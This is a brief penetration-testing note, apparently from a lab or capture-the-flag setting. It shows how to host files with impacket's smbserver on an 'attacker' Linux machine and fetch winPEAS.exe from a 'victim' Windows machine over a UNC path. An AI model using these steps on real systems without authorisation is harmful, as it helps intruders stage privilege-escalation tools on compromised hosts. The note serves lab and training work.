๐Ÿ–ฅ๏ธ On the Linux Server (Attacker Machine)

Start an SMB server using impacket-smbserver:

sudo smbserver.py gnu $(pwd) -smb2support
  • gnu: Share name
  • $(pwd): Current working directory to be shared
  • -smb2support: Enables SMB2 support for better compatibility with newer Windows systems

๐ŸชŸ On the Windows Client (Victim Machine)

Access the shared file using UNC path:

\\10.10.14.42\gnu\winPEAS.exe

๐Ÿ”ธ Replace 10.10.14.42 with the IP of your Linux (attacker) machine ๐Ÿ”ธ You can also map this as a network drive or copy files directly using copy or xcopy in CMD or PowerShell